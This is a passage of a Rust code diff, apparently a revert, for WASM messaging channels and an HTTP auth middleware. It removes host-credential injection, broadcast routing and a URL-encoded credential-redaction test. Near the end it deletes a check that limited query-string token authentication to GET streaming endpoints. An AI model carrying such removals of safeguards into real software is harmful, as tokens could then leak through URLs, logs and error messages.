let mut store = Store::new(engine, store_data);
|
||||||
@@ -1001,9 +806,6 @@ impl WasmChannel {
|
|||||||
let timeout = self.runtime.config().callback_timeout;
|
let timeout = self.runtime.config().callback_timeout;
|
||||||
let channel_name = self.name.clone();
|
let channel_name = self.name.clone();
|
||||||
let credentials = self.get_credentials().await;
|
let credentials = self.get_credentials().await;
|
||||||
let host_credentials =
|
|
||||||
resolve_channel_host_credentials(&self.capabilities, self.secrets_store.as_deref())
|
|
||||||
.await;
|
|
||||||
let pairing_store = self.pairing_store.clone();
|
let pairing_store = self.pairing_store.clone();
|
||||||
let workspace_store = self.workspace_store.clone();
|
let workspace_store = self.workspace_store.clone();
|
||||||
|
|
||||||
@@ -1015,7 +817,6 @@ impl WasmChannel {
|
|||||||
&prepared,
|
&prepared,
|
||||||
&capabilities,
|
&capabilities,
|
||||||
credentials,
|
credentials,
|
||||||
host_credentials,
|
|
||||||
pairing_store,
|
pairing_store,
|
||||||
)?;
|
)?;
|
||||||
let instance = Self::instantiate_component(&runtime, &prepared, &mut store)?;
|
let instance = Self::instantiate_component(&runtime, &prepared, &mut store)?;
|
||||||
@@ -1141,9 +942,6 @@ impl WasmChannel {
|
|||||||
let capabilities = Self::inject_workspace_reader(&self.capabilities, &self.workspace_store);
|
let capabilities = Self::inject_workspace_reader(&self.capabilities, &self.workspace_store);
|
||||||
let timeout = self.runtime.config().callback_timeout;
|
let timeout = self.runtime.config().callback_timeout;
|
||||||
let credentials = self.get_credentials().await;
|
let credentials = self.get_credentials().await;
|
||||||
let host_credentials =
|
|
||||||
resolve_channel_host_credentials(&self.capabilities, self.secrets_store.as_deref())
|
|
||||||
.await;
|
|
||||||
let pairing_store = self.pairing_store.clone();
|
let pairing_store = self.pairing_store.clone();
|
||||||
let workspace_store = self.workspace_store.clone();
|
let workspace_store = self.workspace_store.clone();
|
||||||
|
|
||||||
@@ -1164,7 +962,6 @@ impl WasmChannel {
|
|||||||
&prepared,
|
&prepared,
|
||||||
&capabilities,
|
&capabilities,
|
||||||
credentials,
|
credentials,
|
||||||
host_credentials,
|
|
||||||
pairing_store,
|
pairing_store,
|
||||||
)?;
|
)?;
|
||||||
let instance = Self::instantiate_component(&runtime, &prepared, &mut store)?;
|
let instance = Self::instantiate_component(&runtime, &prepared, &mut store)?;
|
||||||
@@ -1244,9 +1041,6 @@ impl WasmChannel {
|
|||||||
let timeout = self.runtime.config().callback_timeout;
|
let timeout = self.runtime.config().callback_timeout;
|
||||||
let channel_name = self.name.clone();
|
let channel_name = self.name.clone();
|
||||||
let credentials = self.get_credentials().await;
|
let credentials = self.get_credentials().await;
|
||||||
let host_credentials =
|
|
||||||
resolve_channel_host_credentials(&self.capabilities, self.secrets_store.as_deref())
|
|
||||||
.await;
|
|
||||||
let pairing_store = self.pairing_store.clone();
|
let pairing_store = self.pairing_store.clone();
|
||||||
let workspace_store = self.workspace_store.clone();
|
let workspace_store = self.workspace_store.clone();
|
||||||
|
|
||||||
@@ -1258,7 +1052,6 @@ impl WasmChannel {
|
|||||||
&prepared,
|
&prepared,
|
||||||
&capabilities,
|
&capabilities,
|
||||||
credentials,
|
credentials,
|
||||||
host_credentials,
|
|
||||||
pairing_store,
|
pairing_store,
|
||||||
)?;
|
)?;
|
||||||
let instance = Self::instantiate_component(&runtime, &prepared, &mut store)?;
|
let instance = Self::instantiate_component(&runtime, &prepared, &mut store)?;
|
||||||
@@ -1349,9 +1142,6 @@ impl WasmChannel {
|
|||||||
let timeout = self.runtime.config().callback_timeout;
|
let timeout = self.runtime.config().callback_timeout;
|
||||||
let channel_name = self.name.clone();
|
let channel_name = self.name.clone();
|
||||||
let credentials = self.get_credentials().await;
|
let credentials = self.get_credentials().await;
|
||||||
let host_credentials =
|
|
||||||
resolve_channel_host_credentials(&self.capabilities, self.secrets_store.as_deref())
|
|
||||||
.await;
|
|
||||||
let pairing_store = self.pairing_store.clone();
|
let pairing_store = self.pairing_store.clone();
|
||||||
|
|
||||||
// Prepare response data
|
// Prepare response data
|
||||||
@@ -1371,7 +1161,6 @@ impl WasmChannel {
|
|||||||
&prepared,
|
&prepared,
|
||||||
&capabilities,
|
&capabilities,
|
||||||
credentials,
|
credentials,
|
||||||
host_credentials,
|
|
||||||
pairing_store,
|
pairing_store,
|
||||||
)?;
|
)?;
|
||||||
|
|
||||||
@@ -1466,9 +1255,6 @@ impl WasmChannel {
|
|||||||
let timeout = self.runtime.config().callback_timeout;
|
let timeout = self.runtime.config().callback_timeout;
|
||||||
let channel_name = self.name.clone();
|
let channel_name = self.name.clone();
|
||||||
let credentials = self.get_credentials().await;
|
let credentials = self.get_credentials().await;
|
||||||
let host_credentials =
|
|
||||||
resolve_channel_host_credentials(&self.capabilities, self.secrets_store.as_deref())
|
|
||||||
.await;
|
|
||||||
let pairing_store = self.pairing_store.clone();
|
let pairing_store = self.pairing_store.clone();
|
||||||
|
|
||||||
let wit_update = status_to_wit(status, metadata);
|
let wit_update = status_to_wit(status, metadata);
|
||||||
@@ -1480,7 +1266,6 @@ impl WasmChannel {
|
|||||||
&prepared,
|
&prepared,
|
||||||
&capabilities,
|
&capabilities,
|
||||||
credentials,
|
credentials,
|
||||||
host_credentials,
|
|
||||||
pairing_store,
|
pairing_store,
|
||||||
)?;
|
)?;
|
||||||
let instance = Self::instantiate_component(&runtime, &prepared, &mut store)?;
|
let instance = Self::instantiate_component(&runtime, &prepared, &mut store)?;
|
||||||
@@ -1527,7 +1312,6 @@ impl WasmChannel {
|
|||||||
prepared: &Arc<PreparedChannelModule>,
|
prepared: &Arc<PreparedChannelModule>,
|
||||||
capabilities: &ChannelCapabilities,
|
capabilities: &ChannelCapabilities,
|
||||||
credentials: &RwLock<HashMap<String, String>>,
|
credentials: &RwLock<HashMap<String, String>>,
|
||||||
host_credentials: Vec<ResolvedHostCredential>,
|
|
||||||
pairing_store: Arc<PairingStore>,
|
pairing_store: Arc<PairingStore>,
|
||||||
timeout: Duration,
|
timeout: Duration,
|
||||||
wit_update: wit_channel::StatusUpdate,
|
wit_update: wit_channel::StatusUpdate,
|
||||||
@@ -1549,7 +1333,6 @@ impl WasmChannel {
|
|||||||
&prepared,
|
&prepared,
|
||||||
&capabilities,
|
&capabilities,
|
||||||
credentials_snapshot,
|
credentials_snapshot,
|
||||||
host_credentials,
|
|
||||||
pairing_store,
|
pairing_store,
|
||||||
)?;
|
)?;
|
||||||
let instance = Self::instantiate_component(&runtime, &prepared, &mut store)?;
|
let instance = Self::instantiate_component(&runtime, &prepared, &mut store)?;
|
||||||
@@ -1631,13 +1414,6 @@ impl WasmChannel {
|
|||||||
let prepared = Arc::clone(&self.prepared);
|
let prepared = Arc::clone(&self.prepared);
|
||||||
let capabilities = self.capabilities.clone();
|
let capabilities = self.capabilities.clone();
|
||||||
let credentials = self.credentials.clone();
|
let credentials = self.credentials.clone();
|
||||||
// Pre-resolve host credentials once for the lifetime of the repeater.
|
|
||||||
// Channels tokens rarely change, so a snapshot per-repeater is correct.
|
|
||||||
let repeater_host_credentials = resolve_channel_host_credentials(
|
|
||||||
&self.capabilities,
|
|
||||||
self.secrets_store.as_deref(),
|
|
||||||
)
|
|
||||||
.await;
|
|
||||||
let pairing_store = self.pairing_store.clone();
|
let pairing_store = self.pairing_store.clone();
|
||||||
let callback_timeout = self.runtime.config().callback_timeout;
|
let callback_timeout = self.runtime.config().callback_timeout;
|
||||||
let wit_update = status_to_wit(&status, metadata);
|
let wit_update = status_to_wit(&status, metadata);
|
||||||
@@ -1651,7 +1427,6 @@ impl WasmChannel {
|
|||||||
interval.tick().await;
|
interval.tick().await;
|
||||||
|
|
||||||
let wit_update_clone = clone_wit_status_update(&wit_update);
|
let wit_update_clone = clone_wit_status_update(&wit_update);
|
||||||
let hc = repeater_host_credentials.clone();
|
|
||||||
|
|
||||||
if let Err(e) = Self::execute_status(
|
if let Err(e) = Self::execute_status(
|
||||||
&channel_name,
|
&channel_name,
|
||||||
@@ -1659,7 +1434,6 @@ impl WasmChannel {
|
|||||||
&prepared,
|
&prepared,
|
||||||
&capabilities,
|
&capabilities,
|
||||||
&credentials,
|
&credentials,
|
||||||
hc,
|
|
||||||
pairing_store.clone(),
|
pairing_store.clone(),
|
||||||
callback_timeout,
|
callback_timeout,
|
||||||
wit_update_clone,
|
wit_update_clone,
|
||||||
@@ -1839,8 +1613,6 @@ impl WasmChannel {
|
|||||||
// Parse metadata JSON
|
// Parse metadata JSON
|
||||||
if let Ok(metadata) = serde_json::from_str(&emitted.metadata_json) {
|
if let Ok(metadata) = serde_json::from_str(&emitted.metadata_json) {
|
||||||
msg = msg.with_metadata(metadata);
|
msg = msg.with_metadata(metadata);
|
||||||
// Store for broadcast routing (chat_id etc.)
|
|
||||||
self.update_broadcast_metadata(&emitted.metadata_json).await;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// Send to stream
|
// Send to stream
|
||||||
@@ -1877,17 +1649,13 @@ impl WasmChannel {
|
|||||||
let channel_name = self.name.clone();
|
let channel_name = self.name.clone();
|
||||||
let runtime = Arc::clone(&self.runtime);
|
let runtime = Arc::clone(&self.runtime);
|
||||||
let prepared = Arc::clone(&self.prepared);
|
let prepared = Arc::clone(&self.prepared);
|
||||||
let poll_capabilities = self.capabilities.clone();
|
let capabilities = self.capabilities.clone();
|
||||||
let capabilities = Self::inject_workspace_reader(&self.capabilities, &self.workspace_store);
|
|
||||||
let message_tx = self.message_tx.clone();
|
let message_tx = self.message_tx.clone();
|
||||||
let rate_limiter = self.rate_limiter.clone();
|
let rate_limiter = self.rate_limiter.clone();
|
||||||
let credentials = self.credentials.clone();
|
let credentials = self.credentials.clone();
|
||||||
let pairing_store = self.pairing_store.clone();
|
let pairing_store = self.pairing_store.clone();
|
||||||
let callback_timeout = self.runtime.config().callback_timeout;
|
let callback_timeout = self.runtime.config().callback_timeout;
|
||||||
let workspace_store = self.workspace_store.clone();
|
let workspace_store = self.workspace_store.clone();
|
||||||
let last_broadcast_metadata = self.last_broadcast_metadata.clone();
|
|
||||||
let settings_store = self.settings_store.clone();
|
|
||||||
let poll_secrets_store = self.secrets_store.clone();
|
|
||||||
|
|
||||||
tokio::spawn(async move {
|
tokio::spawn(async move {
|
||||||
let mut interval_timer = tokio::time::interval(interval);
|
let mut interval_timer = tokio::time::interval(interval);
|
||||||
@@ -1901,13 +1669,6 @@ impl WasmChannel {
|
|||||||
"Polling tick - calling on_poll"
|
"Polling tick - calling on_poll"
|
||||||
);
|
);
|
||||||
|
|
||||||
// Pre-resolve host credentials for this tick
|
|
||||||
let host_credentials = resolve_channel_host_credentials(
|
|
||||||
&poll_capabilities,
|
|
||||||
poll_secrets_store.as_deref(),
|
|
||||||
)
|
|
||||||
.await;
|
|
||||||
|
|
||||||
// Execute on_poll with fresh WASM instance
|
// Execute on_poll with fresh WASM instance
|
||||||
let result = Self::execute_poll(
|
let result = Self::execute_poll(
|
||||||
&channel_name,
|
&channel_name,
|
||||||
@@ -1915,7 +1676,6 @@ impl WasmChannel {
|
|||||||
&prepared,
|
&prepared,
|
||||||
&capabilities,
|
&capabilities,
|
||||||
&credentials,
|
&credentials,
|
||||||
host_credentials,
|
|
||||||
pairing_store.clone(),
|
pairing_store.clone(),
|
||||||
callback_timeout,
|
callback_timeout,
|
||||||
&workspace_store,
|
&workspace_store,
|
||||||
@@ -1930,8 +1690,6 @@ impl WasmChannel {
|
|||||||
emitted_messages,
|
emitted_messages,
|
||||||
&message_tx,
|
&message_tx,
|
||||||
&rate_limiter,
|
&rate_limiter,
|
||||||
&last_broadcast_metadata,
|
|
||||||
settings_store.as_ref(),
|
|
||||||
).await {
|
).await {
|
||||||
tracing::warn!(
|
tracing::warn!(
|
||||||
channel = %channel_name,
|
channel = %channel_name,
|
||||||
@@ -1973,7 +1731,6 @@ impl WasmChannel {
|
|||||||
prepared: &Arc<PreparedChannelModule>,
|
prepared: &Arc<PreparedChannelModule>,
|
||||||
capabilities: &ChannelCapabilities,
|
capabilities: &ChannelCapabilities,
|
||||||
credentials: &RwLock<HashMap<String, String>>,
|
credentials: &RwLock<HashMap<String, String>>,
|
||||||
host_credentials: Vec<ResolvedHostCredential>,
|
|
||||||
pairing_store: Arc<PairingStore>,
|
pairing_store: Arc<PairingStore>,
|
||||||
timeout: Duration,
|
timeout: Duration,
|
||||||
workspace_store: &Arc<ChannelWorkspaceStore>,
|
workspace_store: &Arc<ChannelWorkspaceStore>,
|
||||||
@@ -2002,7 +1759,6 @@ impl WasmChannel {
|
|||||||
&prepared,
|
&prepared,
|
||||||
&capabilities,
|
&capabilities,
|
||||||
credentials_snapshot,
|
credentials_snapshot,
|
||||||
host_credentials,
|
|
||||||
pairing_store,
|
pairing_store,
|
||||||
)?;
|
)?;
|
||||||
let instance = Self::instantiate_component(&runtime, &prepared, &mut store)?;
|
let instance = Self::instantiate_component(&runtime, &prepared, &mut store)?;
|
||||||
@@ -2057,8 +1813,6 @@ impl WasmChannel {
|
|||||||
messages: Vec<EmittedMessage>,
|
messages: Vec<EmittedMessage>,
|
||||||
message_tx: &RwLock<Option<mpsc::Sender<IncomingMessage>>>,
|
message_tx: &RwLock<Option<mpsc::Sender<IncomingMessage>>>,
|
||||||
rate_limiter: &RwLock<ChannelEmitRateLimiter>,
|
rate_limiter: &RwLock<ChannelEmitRateLimiter>,
|
||||||
last_broadcast_metadata: &tokio::sync::RwLock<Option<String>>,
|
|
||||||
settings_store: Option<&Arc<dyn crate::db::SettingsStore>>,
|
|
||||||
) -> Result<(), WasmChannelError> {
|
) -> Result<(), WasmChannelError> {
|
||||||
tracing::info!(
|
tracing::info!(
|
||||||
channel = %channel_name,
|
channel = %channel_name,
|
||||||
@@ -2104,14 +1858,6 @@ impl WasmChannel {
|
|||||||
// Parse metadata JSON
|
// Parse metadata JSON
|
||||||
if let Ok(metadata) = serde_json::from_str(&emitted.metadata_json) {
|
if let Ok(metadata) = serde_json::from_str(&emitted.metadata_json) {
|
||||||
msg = msg.with_metadata(metadata);
|
msg = msg.with_metadata(metadata);
|
||||||
// Store for broadcast routing (chat_id etc.)
|
|
||||||
do_update_broadcast_metadata(
|
|
||||||
channel_name,
|
|
||||||
&emitted.metadata_json,
|
|
||||||
last_broadcast_metadata,
|
|
||||||
settings_store,
|
|
||||||
)
|
|
||||||
.await;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// Send to stream
|
// Send to stream
|
||||||
@@ -2147,9 +1893,6 @@ impl Channel for WasmChannel {
|
|||||||
}
|
}
|
||||||
|
|
||||||
async fn start(&self) -> Result<MessageStream, ChannelError> {
|
async fn start(&self) -> Result<MessageStream, ChannelError> {
|
||||||
// Restore broadcast metadata from settings (survives restarts)
|
|
||||||
self.load_broadcast_metadata().await;
|
|
||||||
|
|
||||||
// Create message channel
|
// Create message channel
|
||||||
let (tx, rx) = mpsc::channel(256);
|
let (tx, rx) = mpsc::channel(256);
|
||||||
*self.message_tx.write().await = Some(tx);
|
*self.message_tx.write().await = Some(tx);
|
||||||
@@ -2239,8 +1982,6 @@ impl Channel for WasmChannel {
|
|||||||
// The original metadata contains channel-specific routing info (e.g., Telegram chat_id)
|
// The original metadata contains channel-specific routing info (e.g., Telegram chat_id)
|
||||||
// that the WASM channel needs to send the reply to the correct destination.
|
// that the WASM channel needs to send the reply to the correct destination.
|
||||||
let metadata_json = serde_json::to_string(&msg.metadata).unwrap_or_default();
|
let metadata_json = serde_json::to_string(&msg.metadata).unwrap_or_default();
|
||||||
// Store for broadcast routing (chat_id etc.)
|
|
||||||
self.update_broadcast_metadata(&metadata_json).await;
|
|
||||||
self.call_on_respond(
|
self.call_on_respond(
|
||||||
msg.id,
|
msg.id,
|
||||||
&response.content,
|
&response.content,
|
||||||
@@ -2256,34 +1997,6 @@ impl Channel for WasmChannel {
|
|||||||
Ok(())
|
Ok(())
|
||||||
}
|
}
|
||||||
|
|
||||||
async fn broadcast(
|
|
||||||
&self,
|
|
||||||
_user_id: &str,
|
|
||||||
response: OutgoingResponse,
|
|
||||||
) -> Result<(), ChannelError> {
|
|
||||||
let metadata_json = self
|
|
||||||
.last_broadcast_metadata
|
|
||||||
.read()
|
|
||||||
.await
|
|
||||||
.clone()
|
|
||||||
.ok_or_else(|| ChannelError::SendFailed {
|
|
||||||
name: self.name.clone(),
|
|
||||||
reason: "No messages received yet — no chat_id available for broadcast".into(),
|
|
||||||
})?;
|
|
||||||
|
|
||||||
self.call_on_respond(
|
|
||||||
uuid::Uuid::new_v4(),
|
|
||||||
&response.content,
|
|
||||||
response.thread_id.as_deref(),
|
|
||||||
&metadata_json,
|
|
||||||
)
|
|
||||||
.await
|
|
||||||
.map_err(|e| ChannelError::SendFailed {
|
|
||||||
name: self.name.clone(),
|
|
||||||
reason: e.to_string(),
|
|
||||||
})
|
|
||||||
}
|
|
||||||
|
|
||||||
async fn send_status(
|
async fn send_status(
|
||||||
&self,
|
&self,
|
||||||
status: StatusUpdate,
|
status: StatusUpdate,
|
||||||
@@ -2388,14 +2101,6 @@ impl Channel for SharedWasmChannel {
|
|||||||
self.inner.respond(msg, response).await
|
self.inner.respond(msg, response).await
|
||||||
}
|
}
|
||||||
|
|
||||||
async fn broadcast(
|
|
||||||
&self,
|
|
||||||
user_id: &str,
|
|
||||||
response: OutgoingResponse,
|
|
||||||
) -> Result<(), ChannelError> {
|
|
||||||
self.inner.broadcast(user_id, response).await
|
|
||||||
}
|
|
||||||
|
|
||||||
async fn send_status(
|
async fn send_status(
|
||||||
&self,
|
&self,
|
||||||
status: StatusUpdate,
|
status: StatusUpdate,
|
||||||
@@ -2479,7 +2184,7 @@ fn status_to_wit(status: &StatusUpdate, metadata: &serde_json::Value) -> wit_cha
|
|||||||
message: format!("Tool started: {}", name),
|
message: format!("Tool started: {}", name),
|
||||||
metadata_json,
|
metadata_json,
|
||||||
},
|
},
|
||||||
StatusUpdate::ToolCompleted { name, success, .. } => wit_channel::StatusUpdate {
|
StatusUpdate::ToolCompleted { name, success } => wit_channel::StatusUpdate {
|
||||||
status: wit_channel::StatusType::ToolCompleted,
|
status: wit_channel::StatusType::ToolCompleted,
|
||||||
message: format!(
|
message: format!(
|
||||||
"Tool completed: {} ({})",
|
"Tool completed: {} ({})",
|
||||||
@@ -2647,97 +2352,6 @@ impl HttpResponse {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
/// Extract the hostname from a URL string.
|
|
||||||
///
|
|
||||||
/// Returns `None` for malformed URLs or non-HTTP(S) schemes.
|
|
||||||
fn extract_host_from_url(url: &str) -> Option<String> {
|
|
||||||
let parsed = url::Url::parse(url).ok()?;
|
|
||||||
if !matches!(parsed.scheme(), "http" | "https") {
|
|
||||||
return None;
|
|
||||||
}
|
|
||||||
parsed.host_str().map(|h| {
|
|
||||||
h.strip_prefix('[')
|
|
||||||
.and_then(|v| v.strip_suffix(']'))
|
|
||||||
.unwrap_or(h)
|
|
||||||
.to_lowercase()
|
|
||||||
})
|
|
||||||
}
|
|
||||||
|
|
||||||
/// Pre-resolve host credentials for all HTTP capability mappings.
|
|
||||||
///
|
|
||||||
/// Called once per callback (in async context, before spawn_blocking) so the
|
|
||||||
/// synchronous WASM host function can inject credentials without needing async
|
|
||||||
/// access to the secrets store.
|
|
||||||
///
|
|
||||||
/// Silently skips credentials that can't be resolved (e.g., missing secrets).
|
|
||||||
/// The channel will get a 401/403 from the API, which is the expected UX when
|
|
||||||
/// auth hasn't been configured yet.
|
|
||||||
async fn resolve_channel_host_credentials(
|
|
||||||
capabilities: &ChannelCapabilities,
|
|
||||||
store: Option<&(dyn SecretsStore + Send + Sync)>,
|
|
||||||
) -> Vec<ResolvedHostCredential> {
|
|
||||||
let store = match store {
|
|
||||||
Some(s) => s,
|
|
||||||
None => return Vec::new(),
|
|
||||||
};
|
|
||||||
|
|
||||||
let http_cap = match &capabilities.tool_capabilities.http {
|
|
||||||
Some(cap) => cap,
|
|
||||||
None => return Vec::new(),
|
|
||||||
};
|
|
||||||
|
|
||||||
if http_cap.credentials.is_empty() {
|
|
||||||
return Vec::new();
|
|
||||||
}
|
|
||||||
|
|
||||||
let mut resolved = Vec::new();
|
|
||||||
|
|
||||||
for mapping in http_cap.credentials.values() {
|
|
||||||
// Skip UrlPath credentials; they're handled by placeholder substitution
|
|
||||||
if matches!(
|
|
||||||
mapping.location,
|
|
||||||
crate::secrets::CredentialLocation::UrlPath { .. }
|
|
||||||
) {
|
|
||||||
continue;
|
|
||||||
}
|
|
||||||
|
|
||||||
let secret = match store.get_decrypted("default", &mapping.secret_name).await {
|
|
||||||
Ok(s) => s,
|
|
||||||
Err(e) => {
|
|
||||||
tracing::debug!(
|
|
||||||
secret_name = %mapping.secret_name,
|
|
||||||
error = %e,
|
|
||||||
"Could not resolve credential for WASM channel (auth may not be configured)"
|
|
||||||
);
|
|
||||||
continue;
|
|
||||||
}
|
|
||||||
};
|
|
||||||
|
|
||||||
let mut injected = InjectedCredentials::empty();
|
|
||||||
inject_credential(&mut injected, &mapping.location, &secret);
|
|
||||||
|
|
||||||
if injected.is_empty() {
|
|
||||||
continue;
|
|
||||||
}
|
|
||||||
|
|
||||||
resolved.push(ResolvedHostCredential {
|
|
||||||
host_patterns: mapping.host_patterns.clone(),
|
|
||||||
headers: injected.headers,
|
|
||||||
query_params: injected.query_params,
|
|
||||||
secret_value: secret.expose().to_string(),
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
if !resolved.is_empty() {
|
|
||||||
tracing::debug!(
|
|
||||||
count = resolved.len(),
|
|
||||||
"Pre-resolved host credentials for WASM channel execution"
|
|
||||||
);
|
|
||||||
}
|
|
||||||
|
|
||||||
resolved
|
|
||||||
}
|
|
||||||
|
|
||||||
#[cfg(test)]
|
#[cfg(test)]
|
||||||
mod tests {
|
mod tests {
|
||||||
use std::sync::Arc;
|
use std::sync::Arc;
|
||||||
@@ -2770,7 +2384,6 @@ mod tests {
|
|||||||
capabilities,
|
capabilities,
|
||||||
"{}".to_string(),
|
"{}".to_string(),
|
||||||
Arc::new(PairingStore::new()),
|
Arc::new(PairingStore::new()),
|
||||||
None,
|
|
||||||
)
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -2848,7 +2461,6 @@ mod tests {
|
|||||||
&prepared,
|
&prepared,
|
||||||
&capabilities,
|
&capabilities,
|
||||||
&credentials,
|
&credentials,
|
||||||
Vec::new(), // no host credentials in test
|
|
||||||
Arc::new(PairingStore::new()),
|
Arc::new(PairingStore::new()),
|
||||||
timeout,
|
timeout,
|
||||||
&workspace_store,
|
&workspace_store,
|
||||||
@@ -2877,14 +2489,11 @@ mod tests {
|
|||||||
EmittedMessage::new("user2", "Another message"),
|
EmittedMessage::new("user2", "Another message"),
|
||||||
];
|
];
|
||||||
|
|
||||||
let last_broadcast_metadata = Arc::new(tokio::sync::RwLock::new(None));
|
|
||||||
let result = WasmChannel::dispatch_emitted_messages(
|
let result = WasmChannel::dispatch_emitted_messages(
|
||||||
"test-channel",
|
"test-channel",
|
||||||
messages,
|
messages,
|
||||||
&message_tx,
|
&message_tx,
|
||||||
&rate_limiter,
|
&rate_limiter,
|
||||||
&last_broadcast_metadata,
|
|
||||||
None,
|
|
||||||
)
|
)
|
||||||
.await;
|
.await;
|
||||||
|
|
||||||
@@ -2918,14 +2527,11 @@ mod tests {
|
|||||||
let messages = vec![EmittedMessage::new("user1", "Hello!")];
|
let messages = vec![EmittedMessage::new("user1", "Hello!")];
|
||||||
|
|
||||||
// Should return Ok even without a sender (logs warning but doesn't fail)
|
// Should return Ok even without a sender (logs warning but doesn't fail)
|
||||||
let last_broadcast_metadata = Arc::new(tokio::sync::RwLock::new(None));
|
|
||||||
let result = WasmChannel::dispatch_emitted_messages(
|
let result = WasmChannel::dispatch_emitted_messages(
|
||||||
"test-channel",
|
"test-channel",
|
||||||
messages,
|
messages,
|
||||||
&message_tx,
|
&message_tx,
|
||||||
&rate_limiter,
|
&rate_limiter,
|
||||||
&last_broadcast_metadata,
|
|
||||||
None,
|
|
||||||
)
|
)
|
||||||
.await;
|
.await;
|
||||||
|
|
||||||
@@ -2956,7 +2562,6 @@ mod tests {
|
|||||||
capabilities,
|
capabilities,
|
||||||
"{}".to_string(),
|
"{}".to_string(),
|
||||||
Arc::new(PairingStore::new()),
|
Arc::new(PairingStore::new()),
|
||||||
None,
|
|
||||||
);
|
);
|
||||||
|
|
||||||
// Start the channel
|
// Start the channel
|
||||||
@@ -3387,8 +2992,6 @@ mod tests {
|
|||||||
&crate::channels::StatusUpdate::ToolCompleted {
|
&crate::channels::StatusUpdate::ToolCompleted {
|
||||||
name: "http_request".to_string(),
|
name: "http_request".to_string(),
|
||||||
success: true,
|
success: true,
|
||||||
error: None,
|
|
||||||
parameters: None,
|
|
||||||
},
|
},
|
||||||
&metadata,
|
&metadata,
|
||||||
);
|
);
|
||||||
@@ -3409,8 +3012,6 @@ mod tests {
|
|||||||
&crate::channels::StatusUpdate::ToolCompleted {
|
&crate::channels::StatusUpdate::ToolCompleted {
|
||||||
name: "http_request".to_string(),
|
name: "http_request".to_string(),
|
||||||
success: false,
|
success: false,
|
||||||
error: Some("connection refused".to_string()),
|
|
||||||
parameters: None,
|
|
||||||
},
|
},
|
||||||
&metadata,
|
&metadata,
|
||||||
);
|
);
|
||||||
@@ -3708,7 +3309,6 @@ mod tests {
|
|||||||
"test",
|
"test",
|
||||||
ChannelCapabilities::default(),
|
ChannelCapabilities::default(),
|
||||||
creds,
|
creds,
|
||||||
Vec::new(),
|
|
||||||
Arc::new(PairingStore::new()),
|
Arc::new(PairingStore::new()),
|
||||||
);
|
);
|
||||||
|
|
||||||
@@ -3740,7 +3340,6 @@ mod tests {
|
|||||||
"test",
|
"test",
|
||||||
ChannelCapabilities::default(),
|
ChannelCapabilities::default(),
|
||||||
std::collections::HashMap::new(),
|
std::collections::HashMap::new(),
|
||||||
Vec::new(),
|
|
||||||
Arc::new(PairingStore::new()),
|
Arc::new(PairingStore::new()),
|
||||||
);
|
);
|
||||||
|
|
||||||
@@ -3748,50 +3347,6 @@ mod tests {
|
|||||||
assert_eq!(store.redact_credentials(input), input);
|
assert_eq!(store.redact_credentials(input), input);
|
||||||
}
|
}
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn test_redact_credentials_url_encoded() {
|
|
||||||
use super::{ChannelStoreData, ResolvedHostCredential};
|
|
||||||
|
|
||||||
// Credential with characters that get URL-encoded
|
|
||||||
let mut creds = std::collections::HashMap::new();
|
|
||||||
creds.insert(
|
|
||||||
"API_KEY".to_string(),
|
|
||||||
"key with spaces&special=chars".to_string(),
|
|
||||||
);
|
|
||||||
|
|
||||||
let host_creds = vec![ResolvedHostCredential {
|
|
||||||
host_patterns: vec!["api.example.com".to_string()],
|
|
||||||
headers: std::collections::HashMap::new(),
|
|
||||||
query_params: std::collections::HashMap::new(),
|
|
||||||
secret_value: "host secret+value".to_string(),
|
|
||||||
}];
|
|
||||||
|
|
||||||
let store = ChannelStoreData::new(
|
|
||||||
1024 * 1024,
|
|
||||||
"test",
|
|
||||||
ChannelCapabilities::default(),
|
|
||||||
creds,
|
|
||||||
host_creds,
|
|
||||||
Arc::new(PairingStore::new()),
|
|
||||||
);
|
|
||||||
|
|
||||||
// Error containing URL-encoded form of the credential
|
|
||||||
let error = "request failed: https://api.example.com?key=key%20with%20spaces%26special%3Dchars&host=host%20secret%2Bvalue";
|
|
||||||
|
|
||||||
let redacted = store.redact_credentials(error);
|
|
||||||
|
|
||||||
assert!(
|
|
||||||
!redacted.contains("key%20with%20spaces"),
|
|
||||||
"URL-encoded credential should be redacted, got: {}",
|
|
||||||
redacted
|
|
||||||
);
|
|
||||||
assert!(
|
|
||||||
!redacted.contains("host%20secret%2Bvalue"),
|
|
||||||
"URL-encoded host credential should be redacted, got: {}",
|
|
||||||
redacted
|
|
||||||
);
|
|
||||||
}
|
|
||||||
|
|
||||||
#[test]
|
#[test]
|
||||||
fn test_redact_credentials_skips_empty_values() {
|
fn test_redact_credentials_skips_empty_values() {
|
||||||
use super::ChannelStoreData;
|
use super::ChannelStoreData;
|
||||||
@@ -3804,7 +3359,6 @@ mod tests {
|
|||||||
"test",
|
"test",
|
||||||
ChannelCapabilities::default(),
|
ChannelCapabilities::default(),
|
||||||
creds,
|
creds,
|
||||||
Vec::new(),
|
|
||||||
Arc::new(PairingStore::new()),
|
Arc::new(PairingStore::new()),
|
||||||
);
|
);
|
||||||
|
|
||||||
|
|||||||
+14
-260
@@ -2,7 +2,7 @@
|
|||||||
|
|
||||||
use axum::{
|
use axum::{
|
||||||
extract::{Request, State},
|
extract::{Request, State},
|
||||||
http::{HeaderMap, Method, StatusCode},
|
http::{HeaderMap, StatusCode},
|
||||||
middleware::Next,
|
middleware::Next,
|
||||||
response::{IntoResponse, Response},
|
response::{IntoResponse, Response},
|
||||||
};
|
};
|
||||||
@@ -14,67 +14,34 @@ pub struct AuthState {
|
|||||||
pub token: String,
|
pub token: String,
|
||||||
}
|
}
|
||||||
|
|
||||||
/// Whether query-string token auth is allowed for this request.
|
|
||||||
///
|
|
||||||
/// Only GET requests to streaming endpoints may use `?token=xxx`. This
|
|
||||||
/// minimizes token-in-URL exposure on state-changing routes, where the token
|
|
||||||
/// would leak via server logs, Referer headers, and browser history.
|
|
||||||
///
|
|
||||||
/// Allowed endpoints:
|
|
||||||
/// - SSE: `/api/chat/events`, `/api/logs/events` (EventSource can't set headers)
|
|
||||||
/// - WebSocket: `/api/chat/ws` (WS upgrade can't set custom headers)
|
|
||||||
///
|
|
||||||
/// If you add a new SSE or WebSocket endpoint, add its path here.
|
|
||||||
fn allows_query_token_auth(request: &Request) -> bool {
|
|
||||||
if request.method() != Method::GET {
|
|
||||||
return false;
|
|
||||||
}
|
|
